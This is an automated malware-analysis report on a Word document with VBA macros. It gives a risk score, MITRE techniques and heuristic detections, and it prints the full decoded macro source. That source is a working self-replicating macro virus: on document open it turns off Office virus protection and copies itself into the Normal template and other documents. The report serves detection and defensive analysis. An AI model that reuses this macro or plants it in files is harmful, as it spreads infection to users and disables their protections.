MALICIOUS
248
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is an OLE document containing VBA macros. The Document_Open macro attempts to disable virus protection and replicate its code to other documents, including the active document and the normal template. This behavior is indicative of a macro-based malware dropper aiming for persistence and spread.
Heuristics 5
-
ClamAV: Doc.Dropper.Agent-6348558-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6348558-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
OLE document has large unaccounted-for region high OLE_SLACK_ANOMALYOLE file is 62,976 bytes but its declared streams total only 27,395 bytes — 35,581 bytes (56%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1402 bytes |
SHA-256: 51a14865229c780afe5e7597d88006a170ccde4585e10ffc72ddaf1fd22b8c76 |
|||
|
Detection
ClamAV:
Doc.Trojan.NSI-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
End Sub
Private Sub Document_Open()
On Error Resume Next
Options.VirusProtection = False
EnableCancelKey = wdCancelDisabled
Set maci = MacroContainer.VBProject.VBComponents.Item(1)
Set macic = maci.CodeModule
ns$ = Left(macic.lines(1, 1), 21)
Set inf = NormalTemplate: nsi$ = ns$
If MacroContainer = inf Then Set inf = ActiveDocument: nsi$ = ns$
Set infc = inf.VBProject.VBComponents
Set infi = infc.Item(1)
Set infic = infi.CodeModule
infi.Name = "ThisDocument"
For mx = 2 To infc.Count
infc.Remove infc.Item(2)
Next mx
If infic.countlines <> macic.CountOfLines Then
infic.deletelines 1, infic.CountOfLines
For coco = 1 To macic.CountOfLines
infic.insertlines coco, macic.lines(coco, 1)
Next coco
infic.replaceline 1, nsi$
End If
If Left(ActiveDocument.Name, 8) <> Mid$(macic.lines(1, 1), 13, 8) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
EnableCancelKey = wdCancelDisabled
End Sub
'ThisDocument v 1.0 1999
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.